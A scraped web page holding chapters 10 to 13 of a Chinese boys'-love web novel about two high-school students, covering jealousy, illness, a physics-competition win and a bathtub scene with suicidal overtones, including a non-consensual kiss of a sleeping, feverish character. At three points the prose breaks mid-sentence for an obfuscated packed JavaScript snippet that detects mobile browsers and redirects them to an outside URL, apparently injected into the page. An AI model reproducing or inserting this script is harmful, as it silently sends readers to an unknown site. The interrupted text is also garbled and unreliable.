谢逾白贴着他的耳朵,语气阴寒,“他喂你吃的蛋糕甜吗?你们关系这么好,直接原地结婚,用兄弟的名义遮遮掩掩有什么意思?” “法律上,同性不能结婚。你哪只眼睛看到他喂我了?我自己拿着叉子吃的。” 想到他们坐着身体贴得那么近,亲密无间的样子,谢逾白心脏绞在一起。 “你挺遗憾?”谢逾白额头青筋凸起,“我在这是不是耽误你们亲亲我我了,连累你们这么晚在楼下喂蚊子,我立刻收拾东西滚蛋,成全你们,怎么样?” 江逸这么多年,就没遇到过这么不讲理、阴阳怪气的人,一时之间不知道怎么开口。 见他沉默,谢逾白以为他默认了,脑子里的一根弦崩了似的,把人翻过来,虎口卡住他的下巴,眼底通红,“江逸,你够厉害的,一边说要泡我,留我在你家住,一边跟青梅竹马柔情蜜意,你很享受是不是?” 江逸提醒他,“你别冤枉我,我要泡你,你不是不给泡吗?原则上,你跟我现在什么关系也没有。” 谢逾白把人拎到次卧,床上整洁,被子叠成豆腐块。 他把江逸扔在床上,他阴霾的眼神锁住眼前的人,修长的手反手一粒粒解开自己的衣服扣子,嘴角清冷,“没泡到,你出去泡别人?很好,我给你泡,我看看你怎么泡的?” 在江逸震惊的眼神里,谢逾白解开了所有的衣服扣子,剥开了家居服,滑腻光洁的皮肤暴露在江逸眼前。 谢逾白背靠着床头,冷若冰霜的面容带着一丝愠怒,单手拎着江逸的领口,把他提了过去,“你不是想玩我?来,让我瞧瞧,你怎么玩的,尽情地玩。” 11. 第 11 章 江逸头撞到他的锁骨上,脑门疼得直抽抽,距离这么近,谢逾白的气息充满了他的鼻息,清冽好闻。 谢逾白洁癖,每天洗澡两三次,他的身上很清爽,皮肤凉凉的。 谢逾白背抵着床头,家居服挂在臂弯,露出的肩颈线条优美,锁骨凹成浅弧。 他五官生得优越,眼型长而挑。唇色偏淡,唇峰分明,微张着吐息,喉结鼓动,指尖反手蹭过自己侧颈,动作微微魅惑,冷得勾人。 对于一个以貌取人的好色之徒来说,江逸觉得有点味道,对上他冰寒的眼神,江逸脊背发凉,叹了叹气,捏了下谢逾白的耳朵,“我有那么不堪?让你说的饥渴难耐了?” 谢逾白沉甸甸的视线锁住他。 “我身边那么多人,想追谁不容易?用得着像你说的三心二意?什么锅里碗里的,跟你说过了,周靖泽是我十多年的兄弟了。我们不是那种关系,不是谁都有你的闲情逸致风花雪月。”江逸说得诚恳。 “我也想跟他怎么样,是我的自由,谁能管得了我?” 谢逾白握住他的手指,捏紧,“你是自欺欺人还是什么?兄弟能大晚上在你家楼下等你,给你送蛋糕,送你手写笔记?” 谢逾白把两人的距离拉近,呼吸交缠,他薄唇轻吐:“他分明是想睡你。” 江逸瞳孔放大,里面映着谢逾白的脸,“没有的事。”他调节情绪,缓了缓,“你明天去参加物理竞赛,一早就要出发,今晚别闹了,行不行?” 谢逾白脸孔依旧紧绷。 江逸摸着他英挺的脸,眼神和缓,“我对他什么情感,我一清二楚,不会发生让你不安的事。别闹了,我饿了,你辛苦做的饭,怎么就忍心扔了?” 他手往前,颤悠着摸上谢逾白的胸口,给他顺气,“最近你好不容易长回来一点肉,别瞎想,晚上又发病了,难受怎么办?” 谢逾白黑睫颤动,眼眸光影绰约,难得没有第一时间推开他的手,“我死了,你正开心。” 江逸面沉如水:“你知道我最不爱听这话。” 谢逾白:“你知道我最不喜欢看到你跟他在一起。” “行,尽量不让你看到。” “尽量?你打算背着我做什么事?” 江逸唇线上扬,“十年的兄弟了,我不能就这么扔了吧?好在他半年后就出国了。” 谢逾白脸色阴转晴,“真的?” “你刚才是因为我生气,还是因为他?你还喜欢他?” 谢逾白眼睫垂下又抬起,“不喜欢他。” 江逸手指擦过他微红的耳朵,揉捏他的耳垂,脸上挂着笑,“这么乖,你给我再做个番茄炒蛋,行不行?” “谁爱做谁做。” “我做,你陪我吃。” 谢逾白眼神射过来:“你不吃蛋糕?” 江逸心领神会,“太腻了,不吃。” 江逸做了两碗葱油面,来叫人去吃饭,谢逾白躺在雪白的枕头上,双眼阖着,眉微微蹙着,胸口的衣襟敞开。 窗户开着,九月末的天气有些凉意,江逸关上窗户,坐在床边,不忍心叫醒他。 近来,谢逾白的状态好了很多,食量增加,药物减半,不像以前那么嗜睡了。 他来了二十多天,江逸感觉谢逾白像自己养的一株多肉,从一开始要死不活的模样,慢慢活了过来。 谢逾白的眉宇清隽,耳朵微红,呼吸均匀,睡姿端正。 窗外传来蝉鸣鸟叫,江逸看着他敞开的胸膛,倏然,轻笑两声,少爷自解扣子,衣衫半露的模样,有几分姿色。 江逸翻出准考证,查阅考试地点,扯过被子,将人盖好。 第二天,谢逾白出发去考试之前,看到江逸递过来准备好的文件袋,里面包含透明笔袋,碳素笔,铅笔橡皮,直尺,纸巾,矿泉水,准考证等一应俱全。 谢逾白微微惊讶,“你什么时候准备的?” “昨晚。” “我不是小学生,这些东西我自己可以准备。”谢逾白从小到大从来没有人给他准备过这些,不管多重大的考试,他一个人面对,正如他跟江逸说过那样,他一直都是一个人。 荣耀,屈辱,健□□病,全是自己面对。 从今以后,会不一样吗?谢逾白从来没奢求过的关心,此刻忽然被赠予,他有些无措。 江逸摸了摸他右侧的头发,眼眸温润,“出发吧,我给你叫了出租车,考试顺利。” 江逸的笑容很耀眼,笑意从眼尾漫到唇角。 “扑通!扑通!”谢逾白听到自己胸口毫无预警地跳动两下,他手揪着胸口的衣襟,心中掠过一句话,心上人的微笑可以融化一切。 他冰封的心,破碎的心,千疮百孔的身心,在江逸一个笑容中碎成粉末。 谢逾白从来不是个一头热的冲动派,正相反,他内敛早熟,精于算计。他不知道为什么自己这样一个人,会不受控制一般被吸引。 因为四年前那三个月的过往吗?亦或是眼前璀璨明亮的笑容。 “你傻站着做什么?司机师傅打电话了。” 谢逾白面色发红,咳嗽几声,开门离开。 江逸看着人上车,松了一口气,骑上摩托车,来到宋越新开的酒吧。 酒吧里面的布置很用心,不比之前工作的地方差,早晨九点,酒吧还没开张,工作人员进进出出地打扫卫生。 宋越看到他,热情地笑,“总算把你盼来了,看我的地盘怎么样?” “出乎意料的好,恭喜。” “恭喜什么,小打小闹的,当了几天老板,我开始怀念打工的日子了,真操心。” “挣多少钱,操多少钱的心。” “你这句话太精辟了,文化人就是不一样。” “我算哪门子的文化人。” “能考上一中,你脑子肯定好用,只是被家里耽误了。”宋越给他倒了一杯水,“谢少爷不是简单人物,你知道吧?” “他怎么了?” “我回去过一次萧哥的酒吧,老孟被判了18年,你敢信?打架斗殴哪能判那么多年?” 宋越唇角一勾,“我听说,他惹了了不起的人物,赫赫有名的知行律师事务所,你知道吧?就是姓谢的老板。” “好像听说过这么回事。” “谢家没那么简单,他家有多家公司,有钱有势富豪中富豪。”宋越打开手机,给他看屏幕,“谢少爷的姐姐,那天来得大美女,你看资产多少,年纪轻轻的。谢逾白一看就不简单。” “见了几面而已,你看出来了?” 宋越颔首,“我回去跟哥哥简单聊了聊,遇到混混那天,谢逾白的表现有勇有谋,完全不像一个高三,年仅18岁的学生。事后记得善后,把老孟送进去那么多年,不留后患,你想一想他的手腕可怕不?” “他19岁,听说因病休学过一年。你说这些,想要传达什么?”江逸跟宋越认识多年,他不是会无缘无故说这么多废话的人。 “你说过,他现在住在你家,是不是?” “是。” 宋越给自己倒了一杯啤酒,摇晃着,“可是,为什么?他一个大少爷,家里那么豪,为什么屈尊住在你家?” 江逸手指交叉,琢磨着,“很奇怪?” “你跳出来想一想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305455|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪不奇怪?” “有点奇怪。我想到一种可能。” 宋越很欣慰,他开窍了,“什么可能?” “他生病了,有自虐倾向,来我家体验生活。” 宋越:“……” 他耐着性子继续引导,“他会不会看上你了?因为生病接近你,跟你发展关系。” 江逸笑得肩膀一颤一颤的,“不瞒你说,我昨晚跟他说,想跟他发展一下,被他拒绝了。不仅如此,他在我家洗澡,要锁门,防我跟防贼似的。” “有这么诡异的事?”宋越也懵圈了,“我只是稍微有点担心,提醒你一下而已,跟他打过两次照面,他不简单,你别被他的病,他俊朗的外形骗了。这人有点疯癫,万一以后你们发生冲突,我怕你吃亏。”有钱有势的人,最好少惹。 江逸点头同意,“他的确疯癫。”江逸看了下手机,“我走了,去接人。” 考场外面人不少,太阳出奇的火辣,谢逾白镇定自若地走出考场,目不斜视,打算去打车,忽然眼神一顿。树荫下,红黑相间的摩托车旁边,江逸正懒散地跟一个女生说着什么话。 不知道他说了什么,女生掩着嘴直乐。 谢逾白额角直抽抽,江逸的长相走到哪里都是个祸害,他尽量让自己的脸色不那么阴霾,“你怎么来了?” 江逸眼神轻松,视线落在他身上,“你出来的挺快,考得怎么样?” “就那样。” 这语气,估计考砸了,江逸安慰,“没事,下次再努力。” “你每次都是这么安慰自己?” 这他妈跟吃枪子似的,江逸懒得跟他计较,旁边的女生跟他说了几句话,两人告别。 谢逾白冷眉竖眼的,“走不走了?” “走,上车。” 谢逾白长腿一跨上了车,双手自然而然地卡住他的腰,不紧不慢地捏了一下。 江逸猝不及防,腰被他捏得身体一晃,实际上,江逸想告诉他,这次回去全是平路,可以不用扶着。 想到他那张刻薄的小嘴,话到嘴边,江逸咽了回去,谢逾白看似心情不佳,指不定怎么挤兑人。 谢逾白心绪平复,清风拂过面庞,闻着江逸身上干爽的气息,类似阳光的暖暖的味道,他闭上了眼睛,做了一个只在梦里才会做到的动作。他毫无掩饰地,把侧脸贴在了江逸的背上。 江逸穿着薄薄的黑色T恤,因为天热,有微弱的汗味,淡淡的荷尔蒙气息。 一向洁癖龟毛的谢逾白不仅没有丝毫的不适,甚至有点上瘾,侧脸贴着江逸颇为骨感的脊背,随着道路的颠簸,摩擦着。 接触的皮肤有些发热。 谢逾白从一开始的掐住他左右腰侧到双手环抱他的腰,明目张胆地从身后把人搂进怀里,谢逾白胸腔里的心脏强而有力地迅速跳动。 天气炎热,江逸觉察到身后的人,像一个小火炉贴了上来,不禁有点好笑,趁着红绿灯,回头调侃,“你不热吗?离我这么近。” 谢逾白右手滑回他的腰侧,掐了他一把,江逸后背扭动,车把晃了一下,“你再乱动,小心出事故。” 谢逾白手滑了回去,撩起他的衣服下摆,掌心贴着他的小腹,“专心开车。” 江逸腹部绷紧,额头微微发汗,感觉自己很难放松,“谢同学,能不能先别这样?” 谢逾白将脸重新贴上去,“不能。” 不长不短的路程,江逸出了一头汗,到了家门口,他似笑非笑地看着谢逾白,瞳孔波光荡漾:“你学什么不好,学人家耍流氓?” 谢逾白板着脸,语气理所当然:“我跟谁学的,还不是跟你?” 12. 第 12 章 到了家,谢逾白看到江逸的脸色有点红,“你被晒到了?脸这么红?” 江逸抚了下额头,“还好。” 谢逾白走近,摸他的额头,感受到他的体温有点不对劲,偏高,“你发烧了?” “有点伤风。”江逸回想,昨天打完篮球,他直接在学校冲澡了,身上带着汗。 谢逾白脸色有点差,“10月份的天气,你能感冒?身体这么弱?” 江逸有气无力地弯着唇笑,“我跟你接触这一个月,哪天你不是病殃殃的?现在好意思说我?” 谢逾白眼尾斜他,“你话真多。” “晚上吃什么?”江逸打开冰箱看还有什么菜。 “病人就安心养病,吃什么不用你管了。”谢逾白扯着他的胳膊把人拉到主卧窗边的床上,他看了看窗边的风,把他拉到靠墙的床上。 谢逾白搬去次卧睡一段时间了,他把江逸安顿在床上,转而去厨房倒来温水,冲了感冒药,拿来退烧药。 江逸眨巴几下眼睛,有点意外,“大少爷会做这些?”他的脸颊一片酡红。 跟他的模样对视一眼,谢逾白耳朵发热,心跳变快。 江逸吃了药,发了很多的汗,退烧药有嗜睡的副作用,直到天色全黑,江逸还在昏睡。 谢逾白看着煮了好久的粥,有点担忧,他拿着水银温度计,站在床前打开台灯,动作犹豫。 他站了几分钟,拉开被子,江逸的脸完全露了出来,双颊泛着红,呼吸带着灼人的热意。鼻尖红透,嘴唇红彤彤的,眼睫黏在一起,偶尔颤一下,脆弱惑人。 谢逾白没有像在江逸面前那样撇开视线,肆无忌惮地看了一会儿,握着温度计的手靠近他,发现他的领口太窄,伸不进去,只能从衣襟往上。 没来由的,谢逾白的心脏剧烈跳动,好像在做什么坏事,江逸的衣襟有点湿,贴在身上,他掀开衣襟。 江逸的皮肤很白,透着冷感。锁骨凹得明显,边缘因为出汗泛着浅红。 他的呼吸有点急,胸膛随着起伏微微动着,他身上没有突出的肌肉块,肌肉线条很顺。往下是薄薄一层腹肌,因为刚出过汗,皮肤表面带着点湿意,细腻光滑,玉石的质感。 江逸胸前两点竟然是嫩红色,谢逾白眼神蓦然一顿,像被烫到似的,快速挪开视线。那一幕却印刻在了脑海里,他强迫自己去看江逸的脸,心脏像个永动机一样快速跳动。 他慌乱地在江逸腋下塞进温度计,眼神有些湿潮,不知所措地站在床边,等了一会儿,他去拿温度计,发现没夹住,掉了出来,体温没测量准确。 思来想去,谢逾白坐在床上,抱起江逸,让他的头枕在自己颈窝,温度计夹进去,扶紧他的手臂,江逸的呼吸热腾腾的,喷在他的下颌,让他心脏鼓动,他略微偏头,就可以擒住他红润的嘴唇。 谢逾白感觉时间过得特别慢,他神经绷紧,此时,江逸似乎不太舒服,想找一个更舒服的姿势,他鼻尖蹭着谢逾白的脖颈,来回蹭了几下。 谢逾白脑子里的一根筋刹那间断掉了,他微微偏头,脊背弯了下,贴上了江逸柔软的唇,灼热清爽的气息,谢逾白的脑子轰的一声。 道德,礼仪,所有一切全部消失,谢逾白的手改为握住他的肩膀,双唇碾压他的唇,柔软的触感如此美好。 谢逾白的呼吸越来越急,唇瓣厮磨的节奏慢下来,小心翼翼地触碰,江逸的唇很软,带着病中的微热,谢逾白反复用自己的唇去贴,从唇角到唇峰,像奢求良久的蛋糕,细细品尝。 多年的念想压得他喘不过气,怀里人的温度、唇上的触感,真实得让他心慌。 意识回笼的时候,谢逾白脸烫极了,愤然抬手给了自己一巴掌,一声脆响在黑夜里十分清晰。 他嘴唇发麻,手指微微颤抖,他刚刚强吻了一个病人?谢逾白闭了闭眼,手指用力插入黑发。 他再次睁眼,眼神失神地看着安静躺着的人。 江逸仍沉在梦里,呼吸匀净,皮肤白得透光,被亲吻过的唇瓣泛着嫣红的湿意。 谢逾白再次给他量了体温,38.1℃。 过了许久,江逸迷迷糊糊睁开眼睛,嗓子干涸,喉咙发出浅浅的声音。 黑暗里有人问,“你想要什么?” 江逸睁开蕴着水汽的眼眸,看过去,房间里开着台灯,谢逾白跟个木头人似的坐在书桌前的椅子上,他眉骨突着,鼻梁直挺挺压下来。 江逸嗓子微哑:“你还没去睡?几点了?” “十二点。” “我口渴。” 谢逾白去倒水,一杯水拿在手里。 江逸动了动,身上酸软无力,“你像个木头似的做什么?不知道过来扶我一把?” 谢逾白表情有些挣扎,坐在床边,把他上半身拉起,让他靠在自己身上,杯沿碰在他的唇角。 江逸喝了一口,看他,“杯子抬高点。” 谢逾白抬高杯子的弧度过高,水流很冲,一口没喝完,水顺着江逸的下巴淌,领子全湿了,“哎!果然是少爷的命,你没伺候过人?” 谢逾白出奇的沉默,“没有。” “你去衣柜里帮我拿件睡衣,这件衣服潮了。” 谢逾白照做,拿出另一件T恤。 “你看看,你拿的是睡衣吗?我穿着睡觉能舒服?” 谢逾白好脾气地拉开衣柜,“你要穿哪件?” “一起住这么多天,我睡觉穿的衣服你也不知道?服了你了,白色那件。” 谢逾白有点印象,把白色衣服递给他。 江逸浑身酸软,“帮我一把。” 谢逾白动作微顿,依言上前。 江逸坐着没动,头歪着,眼睑半垂。 谢逾白先替他脱掉湿了的衣服,手指碰到他后背的皮肤,一片温热。 白色的衣服是宽松的棉质款,谢逾白撑开领口,往他头上套。江逸配合地抬了抬下巴。 穿袖子时,谢逾白攥着他的手腕往里送,触到他掌心的汗,很快松开。 穿好后,谢逾白替他理了理衣襟,碰到他锁骨处,立刻收回手,往后退了半步,低声道:“好了。” 江逸满意地说,“我饿了,有吃的没?” “我去热粥。” 谢逾白端来白米粥,江逸靠在床头,精神恢复了一些,手指拿着温度计,“之前我温度很高?”他看着地上的水盆和湿了的毛巾,“你帮我敷额头了?” 谢逾白嗯了一声。 “我恢复了一些力气,你端着碗,我自己能吃。”江逸看着格外沉默,有些顺从的谢逾白,有点新奇。 江逸一边捏着勺子吃米粥,一边看着谢逾白的侧脸,他瞳色墨黑,眼睫垂下,遮住眼底情绪。 江逸伸手碰了碰谢逾白的脸,“你今天表现这么乖?做错什么事了?” 谢逾白弹簧似的往后跳了下,手里的粥震荡,洒在他手背上。 江逸:“……”乖个球啊,又犯疯病了。 谢逾白蹙着眉,把粥碗塞进他手里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305456|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嘴唇抿成线,“你自己吃吧。” 江逸一口口吃完,琢磨了一会少爷又怎么了?他胃里暖暖的,摸了摸自己的头不烫了,他昏昏沉沉地睡了过去。 * 江逸的感冒四天以后才痊愈,他看着窗外,楼下好像来了一群人,不知怎么回事,十分热闹。 林飞羽从教室门进来,嘀嘀咕咕跟班长说些什么。回到座位,嘴里说着,“牛逼。” 江逸问:“什么牛逼?” “谢逾白呗,能有谁?” “他怎么了?” “他因病错过了数学竞赛,养病期间,不知怎么回事,参加了物理竞赛,听说轻松拿了市第一名,电视台来学校采访了。牛逼之人就是牛逼。” 江逸怔怔地看着窗外,副校长正热情地接待一行人,他没看到谢逾白的身影。考完当天,谢逾白的表情淡淡的,他还以为没考好。 “市第一名很牛吗?”江逸没参加过类似的竞赛,不太明白。 “你以为呢?很多人不上学,请假专门搞竞赛,谢逾白没长期跟着教练学习,属于天赋流。怎么有这么逆天的存在?智商高的不应该是长得像白嵩这种吗?”脸上坑坑洼洼的青春痘。 后桌的白嵩听见后,有些不悦,“林飞羽,你少侮辱人。” 下课铃响,刚好下节课是体育课,江逸懒洋洋地迈着步子往外走,刚好看到那群人在操场上拍摄,副校长意气风发。 他身边站着一根白杨树似的少年,谢逾白穿着蓝白相间的校服,侧脸轮廓在阳光下很清朗,沉静地听着记者的提问。 记者提问时,他微偏过头,嘴唇抿成淡色的线。 他的手腕露在短袖校服外垂在身侧没动,有着撑得住场面的沉稳。 上体育课的班级有六七个,好多同学围在远处,看着意气风发的少年。 江逸站在树荫下,时不时眯着眼睛看过去。 林飞羽满眼羡慕,“听说这次竞赛虽然是市里的测试,题目是省里统一出的,谢逾白的成绩在省里也是拔尖的,刚刚班主任和数学老师在谈论他去省里参加集训队的事。” 白嵩推了推眼镜,“这次的题目史上最难。” 林飞羽:“对哦,你也参加了,你是第几?” 白嵩叹气,“第四,前五名去参加集训队,但是,有谢逾白在,我已经不太想去了,去了也是陪衬。” 江逸挑了挑眉,“你不能这么想,不要跟别人比,跟你自己比,谢逾白肯定也有比不过别人的地方。” “他哪里比不过别人?” 白嵩跟林飞羽眼神齐刷刷地看过来,江逸摸着下巴仔细想,谢逾白的家世打败了百分之99.99%的人,人长得帅,脑子好用,到底哪里不好? “脾气差?”江逸得出这个结论。 林飞羽噗哧笑了,“我要是他,比他更高傲。” 几人有说有笑的,一节体育课很快过去,中午的时候,江逸拿起手机,看到短信,谢逾白上午发的: 【班主任通知我回一趟学校,需要我穿校服。你校服能借我穿一下吗?】 江逸脑子嗡了一声,谢逾白参加采访穿得该不会是他的校服吧? 他高二的时候买了两套,一直穿到现在,【你穿我校服了?】 谢逾白:【试了一下,裤腿有点短,让司机取的。】 江逸呼出一口气,幸亏没穿,他记得另一套更旧,拉链不怎么顺滑。 谢逾白比他高了几厘米而已,说裤腿短什么意思? 13. 第 13 章 放学前,谢逾白的身影出现在班级门口,同学一窝蜂地涌了过去,他还是那个高傲不可一世的优等生。 他比从前清瘦了些,脸颊的线条更利落了,扫过围上来的同学,眼神没什么波澜。 他淡淡跟同学寒暄,靠在自己课桌上,清浅的眼神在教室后排扫过,看到江逸正在低头做卷子,难得没睡觉。 陈最态度关切,“谢总,你病好了吗?数学竞赛之前突然生病,吓死我了。” “好多了。” “什么病啊?这么严重?” 谢逾白眉棱挑着,淡漠不答。 陈最识趣地转换话题,“你一回来,我又要变成千年老二了,你不在的一个月,在班里考第一太爽了。” “我一直不在,你一直爽。” “你以后要走物理竞赛这条路吗?” 谢逾白:“谁知道,先打着玩。” 等到放学,谢逾白背着单肩书包,江逸被几名同学簇拥着往外走,一路说说笑笑的。到了校门口,他骑上摩托车,谢逾白等他跟周围的同学告别,正打算迈腿走过去,跟他一起回家。 周靖泽先他一步拍了下江逸的肩膀,“等你好久了。” 江逸想起来,今天是周靖泽的生日,早就约好了一起去吃饭庆祝,“去哪吃饭?” “定了卓哥那里,一会儿越子他们也过去。”周靖泽自然而然地上车,坐在后座,自己拿出头盔,动作熟练地戴好。 他的手搭在江逸的腰上,动作好像重复了无数次,没有一丝违和。 不远处的谢逾白没错过每一个细节,他们的每一个动作像大屏幕上的慢动作,在他眼前展现。 他的胸口像被一个大锤子砸了一下,钝痛几乎让他的呼吸停滞。原来,江逸不只会对他笑,也会对别人笑,不只他坐过摩托车后座,甚至,他坐得比别人还要晚。 他感觉自己浑浑噩噩的,木讷地在路上走着,脚步好像自己有了意识,走到了宋卓的烧烤摊位。 时间已经过去了五十分钟,几人围着圆桌,坐在小凳子上,江逸面前摆着五六个空的啤酒瓶。 几人酣畅淋漓地喝酒聊天,江逸半边脸颊泛着酒意的红,唇角扬着松快的弧度。 他仰头灌了口酒,放下杯子时笑意还挂在脸上,唇角沾了点酒沫也没擦。坐在他左手边的周靖泽捏着一张纸巾,恰如其分地时机递给他,江逸接过,继续聊天。 他们两人胳膊时不时碰到彼此,头挨着很近,可以说安全距离为零。 江逸跟宋越说着什么,周靖泽目光胶着在他的侧脸,眼里的爱慕几乎毫不掩饰。 周靖泽手里拿着羊肉串,递到江逸嘴边之前,贴心地用筷子剔除了肥的一小块肉,自己吃了,把剩下的瘦肉递给江逸。 江逸拿着烤串,不觉得有任何不对,吃得很香。 谢逾白站在路对面巷口的阴影里,眼神冷暗,漆黑眼瞳里的光一点点熄灭。 不知道站了多久,他的脚底发麻,木然地往回走,忽然感觉,他不知道应该去哪。 江逸回到家,头有点晕晕的,本来想倒头就睡,想着家里还有一人,谢逾白喜洁。他一身酒气烟味,需要洗个澡。 洗漱过后,他见次卧的门虚掩着,他推开门,床上整洁,哪有人影? 晚上十点半了,谢逾白没回来? 江逸从来都是洒脱,做事情有度的人,很少连续给人打电话。他思索着,又给谢逾白打了一个电话。 没人接。 一个月,他们一直在一起,谢逾白从来不会失联,江逸莫名有点心慌。他犹豫了一会儿,给谢雪姚打了个电话。 “喂,江同学。” “姐姐,谢逾白今天回家了吗?” “他没跟你在一起吗?我在外地出差,不知道他什么情况,你等一下,我问下司机。” 过了几分钟,谢雪姚回电话,“他回家了,因为这个月我出差多,家里雇的大部分人休年假了,只剩下园艺工人,我有点担心他,我让司机去接你,你去我家看看。” 江逸想了下,没有别的办法,“好吧。” 江逸坐上迈巴赫,车停在半山别墅车库里,他惊讶于谢逾白家的奢华程度。 庭院大得像森林公园,修剪整齐的绿植迷宫。 江逸愣了下,客厅挑高,墙上挂着一幅印象派油画。 从二楼的电梯出来,两侧柜子里摆着古董花瓶,他小心路过,真担心一不小心把一个古董花瓶撞掉。 谢逾白房间大过篮球场,一整面墙的书架旁放着钢琴,顶层摆着一排奖杯。 江逸四处找床,才发现这是个小的客厅,谢逾白下午穿过的校服搭在沙发背上。 里面还有一道门,李师傅停下脚步,示意让他自己进去。 江逸心脏发紧,打量着周围不可思议的一切,谢逾白原来真的像个城堡里的王子,如此奢华的居住环境,他是怎么能忍受自己家里的环境的? 江逸僵着手指推开卧室门,浅灰墙铺到顶,地板是深灰。 江逸站在门口,他喊了几声:“谢逾白!谢逾白!”没人应答。 他环顾一圈,没看到谢逾白的身影,卧室四周还有两个门,跟迷宫似的。 江逸终于相信以前同学说过的,谢逾白的卫生间比别人家里的空间还要大。 他推开门,扇形大浴缸里,谢逾白头发湿着,几缕贴在额角,垂着头闭着眼,脸色比平时更白,唇色淡得几乎看不见。 江逸吓了一跳,伸手摸,水冰凉凉的。谢逾白眼睫很长,垂着不动,上面挂着细小的水珠,脖颈浸在水里,露出来的皮肤泛着冷意。 他心里暗骂一声,草,谢逾白又搞什么? 浴缸边的置物架上,沐浴露瓶子倒着,没拧盖子,透明液体顺着瓶身滴进水里。 谢逾白的手搭在缸沿,指节泛白,江逸喊了他两声没反应,探手去碰他的胳膊,皮肤也是凉的。 江逸盯着他没起伏的胸口,心猛地提了起来,眼神往浴缸里面一看,他裸着,江逸强迫自己镇定,手指放在他鼻子下面,沉缓的呼吸,还有气。 幸亏是这种扇形的可以靠坐的浴缸,如果是长条的,这种情况下很可能溺水。 江逸伸手去碰他肩膀,摇晃他,没反应,去医院也不能光着身子去吧。他回到卧室,找到白绒绒的毛毯,一咬牙,把人从浴缸里提了出来,裹住他,半拖半拽地弄到卧室床上。 整个过程,谢逾白跟个没有灵魂的木偶,任人摆布。 好不容易把他弄上床,江逸四肢脱力,他皮肤发白,指腹泡起了褶皱,他不知道在浴缸里泡了多久。 江逸捏着他的下颌,“谢逾白,你醒醒,快醒醒!”他喊了足足一分钟,嗓子干哑。 谢逾白眼睫颤了颤,眼皮慢吞吞掀开条缝,眼瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305457|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰蒙蒙的,没焦点。 谢逾白看了江逸几秒,迟缓地眨了下眼,下颌被捏着也没动,声音哑着:“吵什么。” 江逸气得想抽他两个耳光,手掌高高抬起,转而掐住他的脖颈,“谢逾白,你搞什么?啊?作死!” 谢逾白似乎回想起什么,眉心紧蹙,偏过头,不跟他对视,默不做声。 “如果我今晚不来,你在浴缸里泡一晚,明天早晨你就凉了,你找死?”江逸气得嘴唇直哆嗦,看他一副拒绝沟通的样子,把人的脸掰回来,“你少装死,给我把话说清楚!你到底怎么了?” 不知道是没力气争辩还是什么原因,谢逾白半阖着眼睛,对他的质问置若罔闻。 江逸冲进衣帽间,找出来一套睡衣,谢逾白上学天天穿校服,买这么多衣服干什么,害他翻了半天。 进了卧室,江逸才发现没拿内裤,让他挂空挡吧,懒得回去找,把睡衣扔在他脸上,“你给我穿上,一会儿你有个三长两短,你想裸奔去医院?” 谢逾白不予理会,他漆黑的瞳孔半睁着,故意不理人。 江逸磨着后槽牙,第一次感觉这一个月三万块这么难挣,他在谢逾白耳畔吼道:“你穿不穿!你不穿我给你穿!” 谢逾白终于有了点反应,手指向上拉了拉白色毯子,喉结微动,“你少管我,回你家去。” “你以为我稀罕管你!我签了合同的,你出事我要负责的。” “我现在立遗嘱,我以后是死是活跟你没关系。”谢逾白的语气十分镇定,冷漠,“你逍遥快活去吧,到此为止,我怎么样都跟你无关。” 江逸体内有一团火在熊熊燃烧,他向来算个好脾气的人,所有的暴虐焦躁全被激发了出来。 看到谢逾白冷脸冷面,吐出气死人的话,江逸所有的修养都喂了狗,拎着他的领子把人拽起来,一口咬住他以前受过伤的侧颈。 与其放任他把自己的小命折腾没,不如亲自动手,咬死他算了。 他的牙齿陷入薄薄的微凉的皮肤,一直默不作声的谢逾白喉咙喘着气,喉结颤动。 江逸使了劲地咬他,尝到淡淡的血气。 谢逾白有一瞬间的挣扎,肩膀微微耸动,嗓子不再发出声音,颈侧的刺痛混着点奇异的麻,顺着皮肤爬进骨头缝里。 他眼睫颤得厉害,呼吸凝重,像被什么堵住了嗓子。 江逸松口后,谢逾白偏过头,许是脱了力,没推开人,喉间滚出点低哑的气音,眼底泛红,一双纯黑的眼瞳里暗流涌动。 江逸理智回归,看到谢逾白的侧脖颈有清晰的牙印,红肿着,浅浅地有着血痕。他才反应过来,他怎么还咬人了? 他眼底闪烁着,等着谢逾白的反应,讽刺,咒骂,还是跳起来跟他打架,出乎意料的,谢逾白没什么反应。 他没再动,眼睫垂得更低,遮住眼底翻涌的东西。颈侧的皮肤被牙齿硌得发疼,有股诡异的热意顺着血管往上爬,烧得谢逾白耳根泛起薄红。 